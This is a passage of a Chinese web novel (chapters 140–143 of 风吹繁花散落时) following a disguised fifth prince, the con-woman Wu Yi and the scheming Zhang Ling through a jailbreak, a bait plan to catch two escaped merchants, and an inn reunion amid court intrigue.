“本县接到报案,民女吴怡失踪,商人张海嫌疑重大,来人,将他带回去,严加审讯!” 张海被衙役架入大牢,竟和张广关在了一起。 “你怎么?”张广心里一凉,“呵呵呵,看来这五皇子,还真是聪慧异常啊。” 张海苦笑一声,“这次还真不是五皇子,你能相信吗?我是被一个贱女人谋害至此。” “女人?什么女人?” 张海靠在大牢门上,“不过也有一个好消息,这女人是想嫁给五皇子,以后这阴险的女人就要去祸害五皇子了,我看我们就算死了,我们的仇,也有人能帮我们报了。” 张广大笑起来,“毕竟我们都是姓张嘛,五百年前是一家,我们的仇由张灵报,也是天道轮回。” 张海也大笑起来,“好好好!快哉!” —— 周启并不打算审讯张海,他觉得审讯张海就是浪费时间,倒不如从张灵处打听情况更容易。 张灵的伤口早就处理好了,便来到县衙书房向周启禀报。 “你把你遇袭的事情再与我说一遍。” 周启很想从张灵的话中找到蛛丝马迹。 张灵自然早就想好了说辞,她深知谎话要合在大部分真话中说出来才能令人信服,张灵将张海拽着自己脖领子威胁自己的那天情形稍加更改,说与周启听。 “之前就没有一丝改变的迹象吗?” “张灵惭愧,真的没有看出来。” “那就奇怪了。哎,他昨天没有什么反常吗?” 张灵摇摇头,“我真的没有看出来。大人,他刚才突然冲过来抓住我的胳膊,说五皇子玩的好手段,你这个贱人想要巴结皇子,可是狐狸尾巴也要藏好才是!之后他就掏出一把匕首,我害怕极了,幸亏衙役们正好前来,要不然……”张灵后怕极了。 周启心中对张灵的疑虑已经消减殆尽,他来到张灵身边,犹豫着将她揽在怀里,“你受委屈了,是我思虑不周,差点害了你。” 张灵心脏砰砰砰跳着,一个月的谋算终于没有白费。 “周公子,我一点也不委屈,只要你知道我的心意就好。” 周启说道:“我自然知道,张灵,你放心,我周启,永远记得。” 张灵抿着嘴笑了,竟大着胆子双手搂住了周启的腰。 书房外,李博双手环胸,大为惆怅,嘀咕道:“我就说吧,这个女人比所有女人都难对付,我就说吧?我就知道,唉,可人家都搂搂抱抱了,我一个伴读又能怎么办呢?唉,还有三天,赶紧过去吧!回了京,就是皇上和皇后娘娘操心了,我这个伴读,就可以歇会了,唉。” —— 夜幕降临,徽州城再次宵禁,张灵回到小院,一个月来第一次什么轻松。 周启已经发话,请张灵到京城做客,这是想要嫁入皇室最艰难的第一步,张灵做到了。 县衙内,李博已经接受了这件事, “只要你不后悔就行。” 周启心事重重,他双手背后,望向星空,最终却什么都没说。 徽州城外,吴怡独自入住客栈。 她万分疑惑,怎么也想不明白。 吴怡双手做拳捶打自己的脑袋,脑中却仍旧混乱一片,毫无章程。 “哎呀,看来我是个笨女人。死周大人,没准就是你把我给骂笨了。” 原来吴怡从极度震惊中回过了神,觉得周启不像会绑架自己的人,况且除了衙门里的人,谁又认识自己呢?周大人又要怎么拿自己陷害三皇子呢? 吴怡怎么也想不明白,却由于用脑过度饿了,正当她打算去厨房找点吃的之时,阿大提着刀鬼鬼祟祟进入吴怡所住的房间。 吴怡心中怀疑,屏气凝神观察,很快就又看见一个家丁前来与阿大会和,两人还低声说着张海的吩咐。 吴怡脑子“嗡”地一下,她知道自己要被杀了,却展现了过人的聪明才智。 幸亏吴怡脑回路清奇,对大宅院的狗洞情有独钟,她住进张府的第一天就看见了狗洞的位置,如今保命要紧,吴怡毫不犹豫钻狗洞而逃。 要说吴怡还是幸运的,阿大与家丁听见前院的动静之时,张海已经被拿了,家丁掩护阿大离开,而逃跑的吴怡已经无人在意。 而因为周启得到一条关于吴怡踪迹的确切消息,他收拢了所有人马直奔张海家中,徽州城内竟无一人看见吴怡出逃。 吴怡疯狂逃跑,在城门关闭最后一刻出了徽州城。 客栈内,吴怡小心翼翼入住,腰带里藏着的银票终于排上了用场。 夜深人静,吴怡没有点灯,只是躺在床上绞尽脑汁。 她前前后后想了半天,在吴怡心里,周启的却算不上什么好人,利用她,利用俩老四威胁他,欺负她,吼她的次数都不少。 可是在吴怡心里,周启是一个好官,无数次,吴怡半夜都看见周启在处理公务。他也曾经几次遇险,似乎都是为了徽州百姓。 “吴怡!他就是一个混蛋,官老爷都是混蛋!” “可是他还教你做人的道理呢,还派人去招呼你爹。” “你怎么能被他这点小恩小惠骗了呢?你忘了李老师是怎么残疾的?” “你爹不是自己抢着吃了毒药吗?何平可是说得清清楚楚,是那个同知余年搞得鬼,你忘了?” “那倒也是,可是,可是还不是因为他把李老师关进了大牢,不给他饭吃吗?要不李老师那么猴精的,能吃毒药?” “你爹被扔进大牢也是咎由自取,你忘了他是多么混蛋了?他简直就是一个老混蛋!” “嘿嘿,我爹是老混蛋,周大人是小混蛋,嘿嘿。” 吴怡傻笑起来,却突然制止自己,“吴怡你个笨蛋,你忘了他可是派人绑架你啊!” “绑架我?会吗?有人信吗?我信吗?” 吴怡摇着头,“不会不会。” “怎么不会?他肯定想了什么歪主意,要不谁知道我在买菜?总不能是李婶绑架我吧?” “奇怪,张老板为什么救了我又要杀我?难道周大人发现我躲在张老板那里,张老板怕麻烦,想杀人灭口?” “嗯,对,应该是这样。那还是周大人绑架我。” 吴怡这么想着,又咒骂周启几句,打断睡觉,养足了精神好回老家从周启的侍卫手中救出李老四。可是吴怡翻来覆去睡不着。 “哎呀,烦死了!就不应该来徽州,以前坑蒙拐骗的都没有这么烦心。” 吴怡翻身下床,走出房间,见外边月朗星稀,气温虽然很低,能见度却很好,星星一眨一眨的,很是明亮。 吴怡单手拖着头,扶在栏杆上看星星。 吴怡刻意什么都不想,脑袋里却思绪万千。 “天地玄黄,宇宙洪荒,日月盈昃,辰宿列张。” “我知道这是什么意思,就是天地很大,有很多星星。” “人家写得这样美,你却解释得如此俗气。” 吴怡白了一眼周启,“我本来就是俗人嘛,能大概明白就得了。” “读书就要好好读,治学态度要严谨认真,切不可当那差不多先生。” 吴怡不服气道:“那你解释一个给我听听。” 周启原本想一本正经要从易经解释到日月星辰对应的人间秩序,忽见吴怡撅着嘴不太高兴样子,便改口道:“这还不容易吗?就是,天地很大,有很多星星的意思。” 吴怡噗嗤一声笑了,天空中似乎有一张周启的笑脸约隐约现,吴怡翻了个白眼,“有时候,你也挺好的嘛。” 第一百四十一章 周启的盘算 - 风吹繁花散落时 - 红酒羊排 周启一夜未眠,不止因为吴怡毫无踪迹,还因为刚刚被关进大牢的张海,联通张广一起,平地消失了! 周启极为震怒,李博胆战心惊。 “刚刚关进去的人,还未及提审,就不见了?这隰县大牢,是他张海家的后院不成?” “看来张海应该是早就联系了张广,从他口中获悉了您的身份。” “哼,等你想明白,他都跑了!” 李博突然一抱拳,紧张地说道:“五皇子,请五皇子立刻动身回京!” 周启正生气,听见李博如此建议,更加愤怒,“你让本官丢盔卸甲,仓皇而逃?” “五皇子,微臣是为了您的安全考虑。” “安全?本官回了京便安全了吗?” “可是二张多次行刺于您,在徽州,只有我们这些人护卫您,这里离京城千里之遥,路上也是危险重重,五皇子,若是您有失,六公主怎么办?皇后娘娘怎么办?我们大周,又该怎么办?” 李博双膝触底,义正言辞地说道:“五皇子,为天下记,请五皇子回京!”李博一个头磕在地上,周启心中说不出的憋屈。 “吴怡还未找到,重犯又逃脱,本官身为一方父母,竟要闻风而逃?李博,我若真的这样做了,还有什么脸与我三哥争?我又拿什么教化百姓,做天下表率?!” 李博眼眶含泪,抬头看着周启,“五皇子!回京之后,还是可以禀报朝廷四海通缉二张。普天之下莫非皇土,他们就算出逃,又能逃去哪里呢?五皇子,万不可义气用事啊!”李博再次一个头磕在地上,“请五皇子回京!” 李博建议周启回京,周启心有不甘,恰巧张灵来到,她一听张海逃脱,心中大惊。 “大人,牢里必有内鬼。” 李博没好气地说:“那是当然,否则他们插翅难逃。” “李大人,张海阴险狡诈,现在应该已经桃之夭夭了。” “逃?他若真的逃走了,那倒是好了。可他若想鱼死网破,对五皇子不利,该当如何?” “不会的。” “你怎么知道?” 张灵微微一笑,不再看还跪着的李博,而是对周启解释道:“张海已经知道了您的真实身份,刺杀皇子,抄灭九族,他们也都是有家有口的,不会出此下策。” “你确定?”李博正在劝周启回京,张灵突然冒出来,让李博很不爽。 “周大人,李大人,昨日我与张海谈所谓的生意,虽然被他揭穿计谋,他却说漏了嘴,那就是三皇子与户部尚书大人并不知道五皇子在此。既然如此,他一个小小的商贾怎么敢对五皇子不利,只要他没有丧心病狂,只要他还想苟且偷生,他就绝不敢。否则只能死的更快。” 张灵见李博仍旧眉头紧锁,便继续说道:“与其担心那两人会对五皇子不利,倒不如想想怎么擒获他们。” 李博终于站了起来,“擒获?你有办法?” 张灵点点头,“张海被我们耍的团团转,一定很生气吧,否则昨天他也不能拿匕首砍我,还绑架了吴怡。既然如此,他逃出大牢,一定先找地方躲起来,之后是一辈子不敢露头还是报仇,我猜想,他是想报仇的。” “你刚才不说他不敢对五皇子不利吗?他怎么报仇?” 张灵缓缓说道:“他自然不敢对五皇子不利,但是,对我不利,还是没问题的。” 周启不无担忧地点头,“的却可能会有这样的情况发生,张灵,你现在比我危险。” 张灵倒是轻松,“他来找我就太好了。以我做饵,周大人运筹帷幄,定能再次擒获二张。” 周启摸着自己的下巴,吴怡踪迹全无,张海、张广又从大牢逃脱,回京日期近在咫尺,徽州之行,真是一波不平一波又起,灰头土脸。 “张海狡猾异常,不一定会上当。” 李博说道: “他不敢前来最好,日后他不过苟延残喘,了此残生,我们也不必将他放在心上,尽快返京才是。” “明天新任县令就到任,我与其交接清楚。后天一大早,我们动身,回京去。” 张灵犹不甘心,她昨夜想了一晚,虽然威胁她的张海被抓,吴怡却活不见人死不见尸,三皇子与李天时的罪证也没有拿到。五皇子虽然答应带张灵回京,张灵却寸功未建,威胁未除,张灵怎么想都觉得不够安心。 一大清早,张灵听说张海逃脱,却突然来了主意。以己为饵,抓到了张海,五皇子必高看自己一眼,张海也会死无葬身之地,一举两得。 “周大人,那……那吴怡呢?她可还没有踪迹呢,也许在哪里,等着大人去救她呢。” 周启斩钉截铁,“在徽州城,我为官,他为逃犯,他就算有怨有恨,能有什么办法?可是我卸任隰县县令,进京途中,天高水阔,这徽州城百姓以为我成了布衣百姓,没进京城之前,张海都可以装傻充愣,只要他出钱财,一路上的杀手土匪,都能取我性命。” “那我们可不能出城啊!” 周启笑着问李博,“刚才你不还磕了三个响头,求我赶紧回去吗?” 李博着急起来,“都什么时候了,五皇子揶揄我做什么?我刚才想着,回到了京城,您恢复了身份,谁敢对您怎么样?可是现在照您这么说,这路上,前不着村后不着店的,万一张海勾结匪徒埋伏,不行不行,实在太危险了!” 周启斩钉截铁,“李博,张灵,我意已决,后天一早动手。” “为何非要以身冒险呢?” “不错,我就是要以身冒险!张灵,你说用你自己当诱饵,我觉得你这诱饵不够大,哪有我来当诱饵,更能令他心动呢?” “周公子。”张灵心里一颤,她绝不容许周启出现任何危险,“周公子,你……” 周启并不给张灵继续说下去的机会,他一摆手,“你回去吧,收拾收拾,后天随我一起进京。李博,何平,我们商量一下返京路线。” 张灵心里忐忑却不想当着这么多人的面顶撞周启,只能离开。 何平拿出州县地图,向周启报告回京路线。 周启认真听完,突然说道:“明日我与信任知县交接完,就自己离开。” “五皇子?” “我只身一人,若是张海有本事获悉了我的行动,正好给他一个机会,若是他没有得知我的行踪,我自己也就回京了。” “不行,你一个人,太危险了!” “你忘了,上次我可是千里走单骑,还抓住了二愣子呢。” “就是有前车之鉴,我才不能让你去冒险!上次要不是侍卫们快马加鞭赶上了你,不知道要出什么事?!这次,我绝不能让你孤身冒险!” 周启突然严肃起来,“李博,这是命令。” 李博顿时语塞,却心中难安,他望向何平,希望何平能和自己一起冒死进谏。何平行伍出生,却在此次徽州城内保护周启中悟到了很多。 “五皇子,兵行险着,的确有奇效,可是万一……再说了,张海又不是不知道您是如何诱捕了二愣子,怎么会重蹈覆辙?” “李博,何平,你们说,若是张海觉得我是在故技重施,他还敢对我不利吗?” “按照上次的时间,我们之间间隔三个时辰,我去前边客栈等你们。” “五皇子,夜路难走,万一没有赶到。” 周启透过窗户望向远方,“祖宗庇佑,我周启若能入主东宫,他日成为大周皇帝,我定能逢凶化险。若是不能,毙命于这徽州城外,也免得他日黄粱一梦,白白增加了大周的内耗。” 周启收回视线,“你们按照我说的去做。” “那,吴怡呢?她可还没有找到” “我想过了,吴怡要不已经遇害,要不就自己脱离了张海的控制。” “何以见得?” “张海绑架吴怡,自然是为了对付我,直接杀了她,还将尸体藏匿起来,对他张海有什么好处呢?若是当着我的面杀了吴怡,我兴许会做出什么错事来,被什么人抓住了把柄,对张海大有裨益。 可是吴怡生不见人死不见尸,这对张海没有任何好处。有因为不到一天我们就找到了张府,他没有时间将吴怡转移出城。 那就只有一个可能,吴怡自己逃走了。 你可别忘了,吴怡曾经坑蒙拐骗,还是机灵的,若是被绑架,得了机会逃走也不是不可能。 只是吴怡逃脱后,第一时间应该来找我,如今她没来找我,定是张海与她说了什么,让吴怡觉得找我,不如离开。 如是吴怡离开,必会去找李老四,所以其实我们不必费力找了,只看李老四最近会不会失踪就是了。” “嘿,这个吴怡,难道张海三言两语就骗得她团团转,连大人您,也信不过了?以后见到她,我非得好好骂她一顿!” 周启摇摇头,一个月前,他很想带着吴怡回京去,每日看着对方就好。可是如今,吴怡突然失踪,周启又想:若不是他的原因,吴怡怎么会卷入风浪之中,遭受这无妄之灾? 如今,周启倒希望吴怡远走他乡,就算她觉得自己是坏人也好,吴怡只要远离自己这个是非,平平安安过一生,实现她买一个小院的愿望,也好。 “至于张灵嘛。”周启双手背后,来回踱步,“皇上给我钦定了回纥公主,我娶了回纥公主,家族势力更盛。我统兵与回纥兵士一起攻打西凉,若能成就不世之功,我必被封为太子。可是父皇的地位,唉,君心难测,我很担心,到时候,父皇会可以疏远我。” “那千万不能娶张灵,张家虽然不在鼎盛之时,可家族声望还在。若是皇上有意疏远你,你又与晋中张家联姻,岂不是逆龙鳞,非但不能锦上添花,处境却会加难过。” “若是她嫁给三哥呢?只要我入主东宫,我就请母后将张灵赐给三皇子为妃,我与三哥继续分庭抗礼,东宫对皇帝的皇权威胁便能减轻,父皇便不会疏远我,之后也应该不会发生父子相离的惨况吧。” “五皇子,您是不是早就想过这些了?” 周启点点头,“很早之前,我就有这样的打算了。只是对于张灵,我这两天又有些拿不准。她太聪明了,聪明得让我,不想与她为敌。” 李博感同身受,“这女人的确不好惹,送给三皇子,便宜他了。” “如今张灵于我就如鸡肋一般,她很好,去哪个宅门里,都是内宅夫人。也许是我周启没有福气。” “那就不带她了?五皇子,其实今日,你与她说了,也没什么。张灵那个丫头,心思深沉,却不是一个死皮赖脸之人,她还是要面子的,您不带她,她也绝不会沾着我们不撒手的。” “我知道,所以,我很想给她一个教训。” “给她一个教训?” “张灵自视甚高,万一我们不告而别,她觉得受到了侮辱,转投我三哥怀抱……李博,张灵带着对我的恨意嫁给三哥,对我可不是什么好事。” “那你抛下她,她也会恨你啊。” “放心好了,不会的。” “哦?” 周启神秘一笑,“天机不可泄露。” 第一百四十二章 我所认识的你 - 风吹繁花散落时 - 红酒羊排 时间过得飞快,所有事情都按部就班进行着。张海和张广仍旧没有动手行刺,周启却只身一人离开了徽州。 三个时辰后,何平带领队伍,快马加鞭狂追周启。 夜幕降临,周启一人一马一剑入住客栈,他环顾四周,万籁俱静,完全没有被人追杀的感觉。 周启回头张望,却在门口与一人撞了个满怀。 “哎呀,你没长眼睛啊!” 周启心中一惊,这声音,这语调。 “吴怡?” 吴怡心里更是大为惊诧,她担心有人追踪,在房间里闷了三天才敢出来,一出门竟撞见了周启。 吴怡来不及多想,撒腿就跑。 周启一把抓住吴怡的胳膊,“哎哎哎,你跑什么呀?” 吴怡使劲甩了两下胳膊,竟然没有甩开,下意识大叫起来,“耍流氓了,快来人啊,救命啊!救命啊!” 店小二应声跑来,也有来往客人围上前来看热闹的。 客人可以看热闹,店小二却不得不说话,“哎哎哎,你们要闹出去闹去,不要碰坏了我们店里的东西。” “碰坏了我赔,你赶紧给我号一间房子,干净点,雅致些。” 吴怡一边挣扎,一边说道:“有钱了不起啊?小二哥,你救救我,我给你二十文。” “二十文也好意思拿出手?”周启一手拉着吴怡,一手虚指了一下吴怡的腰间,“少说也有百十两银子吧,怎么还这么小气?” 店小二见周启仪表堂堂,不怒自威,尤其腰间挂着的宝剑,不是个吃素的主。按说,店家没有挑客人的,可这位明显与这女人带着冤仇,万一出了事,得不偿失。赶紧作揖说道:“这位客官对不住,我们小店的客房已经满了,实在对不住您,要不这样,您再往前三里,还有一家客栈。要不您……” 店小二眼神真挚,周启却全然不理,只看着吴怡,笑着说道:“你不是住在这里,我住你房间好了。” “你凭什么住我房间啊?” “你怪你怪店小二啊,他说没房间了。” 店小二嘴巴微张,周启却已经往店里走去,吴怡被周启拉着,狠狠瞪了店小二一眼,店小二就当没瞧见。如今这位大爷硬要住店,店小二也只能退而求其次,好好伺候客官,不让他因为自己的原因而砸坏了店里的东西,其他的,只好机灵点,走一步算一步吧。 周启仍旧攥着吴怡的胳膊,斥责道:“看什么看,没看过抓逃走的丫鬟啊?” 客人们一哄而散,毕竟大家明天都要赶路,谁也没时间管那逃匿丫头的闲事,况且大家都长着眼睛呢,那男人腰间的宝剑,可不是摆设。 吴怡见竟然没人路见不平,只好质问周启,“谁是你丫鬟,你你你,你有卖身契吗?” “你忘了,你给我签过一个三十年契约,卖身契这种东西,待会儿你给我签一个,我不就有了?” 吴怡翻了个白眼,却还是被周启拽着进入了房间。 周启放开吴怡,自己给自己倒了一杯水喝。 “大晚上的,你干嘛去?” “你管我?” “哎呀,我身为你的少爷,明知外边危险却不提醒,万一你傻乎乎的,出了什么事,我良心难安啊。” 吴怡又白了周启一眼,却也大咧咧坐在周启对面,也给自己倒了一杯水。 周启重逢吴怡,心中高兴,便好奇问道:“说吧,张海给你灌了什么迷魂汤了?” 吴怡水杯到嘴边,却没有喝上一口,奇怪地看着周启。 “这不是显而易见的吗?你这么笨,被宵小之徒骗了,再自然不过。” 吴怡噘着嘴看地面,干脆不理周启。 “我说你不会真的相信张海之言吧?觉得我是坏人,躲着我?” “才没有呢!” “那你现在这是?” 吴怡气不过,“我不是笨,就是想事情有点慢嘛。” “好,你想的慢,那这都三天了,你想明白没有?” “我当然想明白了,张海是骗我的,你没绑架我。” “我绑架你?我绑架干嘛?” “他说……”吴怡突然愣住。 周启无奈地说道:“他说什么你就信?你自己没有判断力吗?我要真想让你干什么,你爹可在我手上,我还用绑架你?” “你看你看,就是因为你总是这样,我才差点相信了嘛。” “我什么样?” “翻脸不认人,阴晴不定,冷酷无情!” “我?”周启指着自己的鼻子,“我什么时候这样了?” “你一直都这样!哼。”吴怡双手环胸,“我其实一直都不知道你到底怎么想的,我们两个坐得这么近,我却像雾里看花,看不清你,更不知道你怎么想的。” “所以你就听人之言,觉得我十恶不赦?”周启大为失望,“你这个女人,我可是刚刚免除了你一万多两的债务,你这么快就忘了?有这样大方的坏人吗?” “哎呀我现在不是想明白了嘛,我知道张老板肯定是骗我的了。” “怎么想清楚的?” “哼,你这个人,虽然很混蛋…” “啧,怎么说话呢?” “你就是很混蛋嘛!可我知道,你是个好官!张海跟我说,他跟我说…”吴怡双手紧紧攥在一起,低着头,小声说道:“他跟我说,你是个皇子,我觉得他,应该没有骗我。” 周启心中一惊,“吴怡,我,我不是故意隐瞒。” 吴怡眼里含泪,笑着摇头,“我不是因为这个才觉得你不会绑架我,你是一个皇子,还是我们大周唯一的嫡皇子。周大人,我觉得他日你当了皇帝,是我们大周百姓的福气。 这两天,我想了很多,我觉得,你这个人很坏,算计别人的时候,从来不留情面,发起脾气,也让人觉得很害怕。 可是,你是一个好官。 因为你从来没有因为自己的事情算计过别人,也没有因为你自己的事情,发过脾气。 我就是想到了这一点,才确定张海一定是在骗我。” 吴怡咧着嘴笑了,“周大人,他是个老板,我却是个骗子。这骗人啊,不能太离谱。 他这谎话,乍一听好像是那么回事,若是骗钱,当时就能成功。可是被骗的人回家仔细一琢磨,难免发现漏洞重重。 而张老板这谎话,最大的漏洞,就是他不了解你。他觉得你工于心计,精于算计,可是他不知道,你从来,没有因为自己的事情,算计过别人,起码,没有因为自己的事情,算计过我。” 周启放下水杯,心情复杂。 “吴怡,我没有你想的那么好。” “那你为了争皇位,绑架我了吗?” “当然没有。” “那不得了?”吴怡开心起来,“我想的不错嘛。” 周启见吴怡这样,心里很欣慰,吴怡,终究不是一般女子。 “吴怡,我想过了,你还是,回老家吧。” “嗯?” “你现在知道了我的身份,还敢跟我回京成吗?到了京城,你可得当宫女,你不怕吗?” “当宫女的话,月例银子有多少?” 周启摇摇头,“我不知道呀。” “这么重要的事情你怎么能不知道呢?”吴怡睁大了眼睛,像是看白痴一样看着周启。 周启也像看白痴一眼看着吴怡,“瞧你没出息劲儿的。” 吴怡斜眼瞪周启,“我都混成宫女了,还要多有出息?” 周启心里乐开了花,却嘴上不饶人,“我看你也就这么点出息了,算了,本皇子就勉为其难,带着你点吧。” 吴怡得寸进尺,“五皇子,哦,嘘。”吴怡小声说道:“周大人,你看啊,我在钱家一个月十两银子,那宫里,肯定得比钱家有钱吧。能不能看在我们这一年的交情上,多少给我涨点?万一到了宫里,月例银子没有这么多,你一定要帮我和大人们说说啊,小女子背井离乡去当宫女,不容易啊。周大人,小女子我被人绑架,被人欺骗,连夜逃跑,还躲在客栈里不敢出门,心惊胆战啊,看在我这么惨的份上,周大人就可怜可怜我吧!” 周启见到吴怡后,心情也放松了不少,竟然忍不住与吴怡算起账来。 “吴怡,你一个人失踪,本官可是动用了全城的力量找你。一些本官私人的关系就不说了,就是县衙里那些人,你倒是从徽州跑了,跑到这客栈里舒舒服服服躺着,他们呢?可是不眠不休,找了你两天! 先不说你心里那难不难安的了,就是本官,总不能让大家白找你两天,光靠嘴说一句辛苦大家,就过去了。本官给大家发一些劳苦费,总是应该的吧?那这钱?” 吴怡瞬间懂了,抬头看着屋顶,“哎呀,天不早了,该睡觉了。” 吴怡刚站起身,周启却已经冲到了床上,“哎呀,真舒服啊。” 吴怡看周启臭屁的样子,上来拉周启,“给我起来,这是我的房间。” 周启呼噜声大起,假装自己已经睡着了,吴怡无可奈何,小声嘀咕道:“还说自己不是混蛋?女人的床都抢。算了,看在你亲自来找我,我就原谅你一回吧。以后到了宫里,那么大的地方,我离你远点就好了。” 吴怡无可奈何,只好找店小二要了铺盖睡在了地上。 夜深人静,周启轻唤一声,“吴怡。” “我知道你还没有睡着。” 周启脸朝里,背对着吴怡,轻轻说道:“其实,这次找到你的,是钱宁。是他的伙计提供了你被绑架的线索,而我,也不是来找你的。” 说完,周启觉得很沉重又突然轻松。 吴怡从始至终不发一言,夜幕之下,吴怡终于沉沉睡去。 第一百四十三章 事了未了 - 风吹繁花散落时 - 红酒羊排 一夜无事,周启听见远处的鸡鸣狗叫,轻轻起身。 何平早就等在门外,“五皇子。” “真可惜,这么好的机会。” “五皇子,张海已成惊弓之鸟,不敢露面,也可以理解。” “李博他们呢?” “还没有追上来。” “那就原地驻扎,晌午再启程。” 当侍卫们再次看见吴怡都很吃惊,吴怡看见大家,心里发毛,她看着大家黑压压站了一片,心想:这劳务费应该挺多的吧?那我一定要咬紧牙关,千万不能让大人从我以后的月例银子里扣。 吴怡对待大家十分殷勤,侍卫们当然不知道周启吓唬住了吴怡,就没有计较吴怡不告而别之事。 将近晌午,李博终于带着人赶到。 “吴怡?”李博看见吴怡,觉得她简直是阴魂不散。“你怎么在这?” “李大人,我舍不得您呗。” “舍不得我?你是舍不得…”李博快速看了一眼周启,“吧。” 吴怡也快速看了周启一眼,“都舍不得,都舍不得。” 李博双手环胸,鄙视地看着吴怡,“没想到啊,三个女人一台戏,你才是那个台柱子呢。” 吴怡奇怪地说道:“台柱子?我不会唱戏啊。不过我倒是挺喜欢看戏的。” “成了成了,李博,张灵那边如何?” “哦。”李博赶紧站好,回报道:“如你所料,昨天二张偷袭张灵,张灵将其引入埋伏圈,一网打尽了。” “都死了?” “我本想留个活口,可是那张海似乎恨透了张灵,拼着性命也要致张灵于死地。我们实在没法,只好两个人都杀了。” “死也就死了,不过,我还以为他张海要来刺杀我呢。哎对了,张灵怎么样,你跟她说的时候,她就没说什么?” 李博心虚起来,小声说道:“还别说,那张小姐还是真上道,我跟她说了,她没哭也没闹。就让我跟你说句话。” “什么话?” “这辈子别见,见了就是你死我活。” 周启哑然失笑,“你瞧瞧,我说什么来的,这样的女孩子,千万别招惹。” “幸亏我还没说你打算把她嫁给三皇子的事情呢,要不,她当场就得砍了我。” 周启斜着眼说道:“你要是嘴上这么没有把门的,早点被砍死算了。” 李博笑着说道:“哪能啊,我跟着您这么多年,哪能这么没有长进呢。” “那……”周启瞄了一眼吴怡,小声与李博耳语道:“钱宁去救张灵了吗?” 李博这才恍然大悟,“那钱宁是您叫去的呀?我说呢,这英雄救美的事情,他小子怎么跑的准时呢。” 周启长舒一口气,“这次是我辜负了张小姐的一番好意,帮他们回归正轨,也是应该的。” 但是周启不知道的是,张灵半点颓废之情都没有外露,而是靠着大周联合回纥攻打西凉的巨大商机,赚了个盆满钵满。往后余生,张灵终身未嫁。甚至离开张家,自立门户,成为大周最负盛名的女商人。 五十年后,周启在皇宫中才第一次听说了这件事,想起当年在徽州所做的决定,觉得无比欣慰。好歹张灵没有真的成为一个阴险狡诈的后宫妇人,还对大周的商贸发展做出了巨大的贡献。 —— 吴怡在旁边听得心惊胆战,颤着声音问道:“张老板死了?” 李博点着头,“死得透透的,要说这两个人,也算壮烈,可惜跟错了主子。” 吴怡头皮发麻,“张老板竟然死了?死了?” 李博见吴怡被吓得够呛,又“雪中送炭”一把,“死就死了吧,京城里,天天死人,以后你就适应了。” 吴怡被吓得脸皮苍白,周启狠狠瞪了李博一眼,李博立马不敢言语。 吴怡想起昨晚之事,问周启道,“周大人,你知道那张老板要杀人啊?” 周启点点头,“徽州之事,我想在徽州地界了。回京后,只向朝廷报告朝廷之事,这些私人恩怨,我不想拿回去伤了父皇的心。大家,你们都要三缄其口,谁也不要再提了。” “是!” “嘿,我管你回家告不告诉你爹,你昨天应该告诉我!” 周启皱着眉头,“你说什么?” “哎?昨天我是不是处于极度危险之中?你居然半句都没告诉我!哦对了,你睡里边,我睡外边,那坏人进来,先砍我才能砍你呢。你这是想让我给你挡刀啊。” “你睡得猪一样,你还给我挡刀?” “等会等会!”李博问道:“这客栈这么大,你们干嘛住一间房里啊?吴怡!是你搞的鬼是不是?我可告诉你,你别以为生米煮成熟饭,你就能当娘娘了!” “谁搞鬼了?”吴怡的脾气一下子上来,竟说道:“是你家皇子大人非要跟我住一间,我不让他住,他还不干呢,死皮赖脸睡我床上。” 李博被气得面红耳赤,“你给我住口!” 吴怡双手叉腰,“嘿,我就说,这是事实,我就说我就说。” “你!”李博高抬手要打吴怡,周启却大呵一声,“李博!” 李博瞬间恢复了理智,吴怡也吓了一跳。 “你们两个要是一路上都吵架,就不要跟着我回京了。” 李博自然不敢多说,吴怡心里嘀咕一句:又不是我想跟你回去的。只是最终没有说出口。 “五皇子,现在赶路,傍晚入住的客栈,其实还是隰县地界,要是明日再赶路,就能出了隰县了。您看?” “明天一早再走吧。” “那仪仗?” “快到京城的时候再说吧,现在先不要声张。” 李博等人退下后,周启坐在椅子上想事情。 “哎,你怎么还在这?”周启偶然一抬眼,见吴怡还直挺挺站在旁边。 吴怡环顾四周,“这是我的房间。” 周启尴尬道:“小气劲的,走了!” 吴怡气鼓鼓坐下喝水,“臭屁,还爱发脾气,讨厌。” “吴怡。” 周启去而复返,吓了吴怡一跳,吴怡咳嗽着,“干嘛?” “你说奇怪不奇怪?” “什么?” 周启再次独自思索起来,“真是奇怪啊,为什么不想活了呢。” “谁不想活了?” “张海啊。你刚才没听见李博的话吗?他说二张拼了命要杀张灵,你说他们杀了张灵又能怎么样呢?泄恨?有那么大恨吗?” 吴怡双手托着下巴,“不知道。” “真是奇怪啊。” “周大人。” “你想到了?” “周大人,说实话,我都不知道您在说什么。那张老板不是死了吗,他想杀谁,还有什么关系?还有张小姐,她怎么会得罪了张老板了呢?张老板是坏人,张小姐是好人,难道好人与坏人之间,就必须你死我活?不应该啊。” “得得得。”周启知道跟吴怡说了,吴怡也不明白。“我自己想吧。” 周启皱着眉头,总觉得哪里不对劲。 吴怡单手托着腮,“周大人,您每天想这么多事情,累不累?” 周启从来没有觉得这有什么好累的,“我要是不想清楚,才寝食难安呢。” “周大人,我以前吃不饱饭,总羡慕你们这些少爷小姐的。你们穿着华丽的衣裳,脸上总是笑盈盈的,出街呢,乘着娇子坐着马。尤其冬天啊,我身上穿着单薄,北方冷啊,寒风一吹,脸上都生疼。我有一次看见大家公子哥出门,那领子上都是毛茸茸的,我一看啊,就觉得暖和。 那个时候,我是真的羡慕你们这些公子哥啊。 但是现在呢,我这见天着看你劳心劳力的,还为了百姓遭人恨,随时冒着生命危险,关键老百姓还不都说你好,你说你这是为了什么呢?” 周启安静听着,问道:“有没有百姓说完好的呢?” “有啊,我就觉得你挺好。” “你不算,你是我亲近之人,每日看见我处理公务,多少有些私人感受。” “私人感受?周大人,我对你的私人感受并不好啊,若是按照私人感受,我应该骂你才对!” 周启无奈道:“在你心里,我就这么讨人厌啊?你就这么讨厌我?” “不讨厌啊。” “那你刚才说想骂我?” “我不讨厌你。就是每次想起你,我就恨得牙根痒痒,恨不得。”吴怡抬手一甩。 “恨不得怎样?”周启双手环胸,就等着吴怡说出来。 吴怡已经自知失言,装起傻来,“哎呀,是不是到时辰了,好饿呀。周大人,你饿不饿,稍等一会儿哈,我去给你拿饭去。” “不饿!死也被你气饱了!” 吴怡咧着嘴不理周启的胡乱发脾气,反正她早就习惯了。 “李婶?”吴怡一进厨房,见到李婶正在忙碌。“李婶,你怎么在这做饭呢?店家呢?” 